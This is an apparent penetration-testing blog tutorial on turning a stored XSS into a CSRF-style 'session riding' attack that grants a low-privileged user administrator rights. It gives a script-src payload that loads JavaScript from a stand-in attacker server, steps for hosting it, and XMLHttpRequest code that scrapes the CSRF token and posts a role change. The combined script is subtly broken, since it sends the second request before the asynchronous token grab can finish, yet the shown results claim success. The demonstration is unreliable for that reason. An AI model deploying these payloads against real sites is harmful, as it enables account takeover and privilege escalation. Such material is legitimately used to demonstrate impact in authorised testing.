Cross-Site Scripting - Session Riding (XSS To CSRF)

2024-04-27

The worst thing to see in a penetration testing report is a vulnerability with no impact. I am sure we are all sick of XSS findings where alert(1) is put as the proof of concept. As penetration testers, we need to show the clients and developers the actual business impact of our findings. Session riding is the best proof of concept. It has better impact than stealing cookies and shows how a no/low privileged user can escalate up to administrator privileges in an application.


What Is Session Riding

Session riding, also known as XSS to CSRF, occurs when an attacker hijacks a user’s ongoing session to execute actions via an XSS vulnerability. As XSS enables the execution of arbitrary JavaScript within the user’s browser we can create requests which automatically include the session cookies in requests. Leveraging JavaScript objects, we can craft requests to manipulate permissions or execute actions on the same website.

To successfully set up and perform a session riding attack, follow these steps:

1. Identify the XSS vulnerability where we can submit our payload

2. Scope the application to identify which request you want to steal

3. Set up an attack server which will host the malicious JavaScript payload

4. Write the request which will perform the attack

5. Steal and implement the CSRF Token into your request

6. Combine all the previous steps to execute the attack


Step 1 - Identify XSS Vulnerability

There are a lot of resources on how to identify XSS so I will not being going in depth into all the bypass techniques. I highly recommend going through PortSwiggers Training to get a deep look at potential bypasses.

For our attack, we will keep it simple and identify a stored XSS under the comment parameter for our application. Our request will look like the following:

POST /BlogPost1 HTTP/1.1
Host: vulnerable.com
CSRF-Token: 1234-567-890
Cookie: session_id=abcdefg123

comment=<script>alert(1)</script>

Here we see our XSS payload submitted under /BlogPost1 in the comment field. If our application is vulnerable, when we navigate to https://vulnerable.com/BlogPost1 we will see an alert box of 1.

Alert Box

With this, we know that the application is vulnerable to an XSS attack and can move onto the next step.


Step 2 - Scoping The Attack Platform

After finding an XSS vulnerability we will want to see what functionality the website has to offer before performing our session riding attack. Often times we will look at the highest privileged users functionality, such as updating permissions or creating new administrator users. Use the following request as an example:

POST /admin/update HTTP/1.1 
Host: vulnerable.com
CSRF-Token: 1234-567-890
Cookie: session_id=abcdefg123

user=admin&role=administrator

For this application, we see there is functionality to update user permissions to administrator. We will target this for our attacker, but if we could not identify administrator functionality we could target updating login information.


Step 3 - Setting Up Our Attack Server

We will be hosting the JavaScript payload on an external server. This serves two main purposes.

  1. We can easily test and update as needed without having to submit new a XSS payloads each time.
  2. If the vulnerable parameter has a character limit, we can create a short script to call to our external server.

Once we have an external server, we need a domain name for it so we can install Apache2 over HTTPS. This is because if the website is using HTTPS, which almost all do, we also have use HTTPS due to Same Origin Policy.

First, we need to setup a domain name and attach it to our server. I use AWS EC2 with Route53 to perform this after purchasing a domain.

Next, we must setup our server with Apache2 and install TLS certificates for it. For this, I will be using certbot with the apache2 module.

$ sudo apt-get install apache2
$ sudo apt install certbot python3-certbot-apache

Now we just run certbot with the --apache option. I will also include the --register-unsafely-without-email option to avoid setting an email.

$ sudo certbot --apache --register-unsafely-without-email
...
“Which names would you like to activate HTTPS for?”
1. attacker.com

Finally, we must configure any firewall options to allow 443 open to the internet. AWS has inbound rules to set and other providers have similar functionality or use ufw.

If everything is setup properly, we should be able to navigate to https://attacker.com and see the default Apache page.


Step 4 - Creating Session Riding Attack

To perform the actual attack, we will be making use of JavaScript’s XMLHTTPRequest object. This will allow us to make request on the user’s behalf using their session

To start, we need to update our XSS payload to call out to our attacker server. We will use a simple src to do this.

POST /BlogPost1 HTTP/1.1
Host: vulnerable.com
CSRF-Token: 1234-567-890
Cookie: session_id=abcdefg123

comment=<script src="https://attacker.com/xss.js"></script>

Now when any user navigates to /BlogPost1, they will be executing the JavaScript stored under https://attacker.com/xss.js

On our attacker server, we will navigate to /var/www/html and edit xss.js. Making use of XMLHTTPRequest we will setup a call to /admin/update and submit the parameters to update a low privileged user to an administrator user.

var xhr = new XMLHttpRequest();
xhr.open('POST', '/admin/update', true);
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.onload = function () {
    console.log(this.responseText);
};
xhr.send('user=lowprivuser&role=administrator');

This is pretty easy to interpret. On line two, we are sending a POST request to /admin/update with our parameters set in line. We also need to ensure line 3 matching the correct Content-Type as some application use various content types.

With xss.js now set, we can test our payload to see if it works properly. We navigate to /BlogPost1 as an administrator user.

GET /BlogPost1 HTTP/1.1 
Host: vulnerable.com
CSRF-Token: 1234-567-890
Cookie: session_id=abcdefg123

Viewing our Apache2 logs, we should see a request being made from the application to xss.js

192.168.10.10 - - [27/Apr/2024:10:27:10 -0300] "GET /xss.js HTTP/1.1" 200 3395

Looking at our Burp Proxy History, we will see the website performed our session riding request using the current session cookies.

POST /admin/update HTTP/1.1 
Host: vulnerable.com
Cookie: session_id=abcdefg123

user=lowprivuser&role=administrator

Notice how the request did not include the CSRF-Token header. This means our request should be denied by the application for having an improper, or in our case none, CSRF header set. If the application does not use CSRF, then you are done. However, most application now implement this to counter Cross-Site Request Forgery. This means we will have to steal the CSRF token to use in our request.


Step 5 - Stealing The CSRF Token

The final step before we combine everything is finding where the CSRF token is given to our session. Usually these are assigned at login and tied to the cookies. Looking at the login functionality we can see the CSRF token being placed.

Outbound Request

GET /login HTTP/1.1 
Host: vulnerable.com

Example Response

<input type="hidden" name="csrf_token" value="1234-567-890">

Knowing where the CSRF token is assigned, we need to make a request to /login inside of our session riding attack and steal the CSRF token. There are multiple ways to do this, but the easiest method is to regex match the token and store it inside of a variable. Using regex101 we can copy and paste the entire the entire response and find an expression that will only match the CSRF token.

XSS Regex

In our case, it was easy to filter just for the CSRF token. Now we need to create another XMLHTTPRequest to /login and match out only the CSRF token.

var match;
var xhr = new XMLHttpRequest();
xhr.open('GET', '/login', true);
xhr.onload = function () {
    let text = xhr.responseText;
    match = text.match(/[^"]....?-...?-.../g)
    console.log(match);
};
xhr.send(null);

This time, inside of the XMLHTTPRequest we use the text variable to grab the response from /login and set the match variable to the regex string. We have now successfully stolen the CSRF token and are ready to implement it into our session riding attack.


Step 6 - Executing The Attack

With our two scripts now ready, we must update xss.js on our Apache server to steal the CSRF token and then use it when updating the administrator functionality. Combine both scripts, and add one line to implement the header using the stolen CSRF token

var match;
var xhr = new XMLHttpRequest();
xhr.open('GET', '/login', true);
xhr.onload = function () {
    let text = xhr.responseText;
    match = text.match(/[^"]....?-...?-.../g)
    console.log(match);
};
xhr.send(null);

var xhr2 = new XMLHttpRequest();
xhr2.open('POST', '/admin/update', true);
xhr2.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr2.setRequestHeader('CSRF-Token', match);
xhr2.onload = function () {
    console.log(this.responseText);
};
xhr2.send('user=lowprivuser&role=administrator');

Now when we navigate to our still infected page, we can watch as our requests are made. First we go to our stored XSS payload.

GET /BlogPost1 HTTP/1.1 
Host: vulnerable.com
CSRF-Token: 1234-567-890
Cookie: session_id=abcdefg123

Checking our logs again, we see the request was made to our Apache2 server for xss.js.

192.168.10.10 - - [27/Apr/2024:10:45:10 -0300] "GET /xss.js HTTP/1.1" 200 3395

And if we check our Burp History, we now have two requests being sent. First, our request to /login was sent where we regex matched the CSRF token.

GET /login HTTP/1.1 
Host: vulnerable.com

Then our final request to update the low privileged user to administrator with the CSRF token.

POST /admin/update HTTP/1.1 
Host: vulnerable.com
CSRF-Token: 1234-567-890
Cookie: session_id=abcdefg123

user=lowprivuser&role=administrator

Summary

Session riding is a great way to demonstrate impact for XSS vulnerabilities and escalate your privileges within the application. Doing this can easily escalate a medium severity finding to a high severity. Additionally, this can be used to chain multiple vulnerabilities together if some attacks are hidden behind administrator features. Remember to always demonstrate the highest impact an attack can have.


Resources

PortSwigger Cross-site scripting

alexjmackey - XSS Session Riding

Malware News - Session Hijacking and Session Riding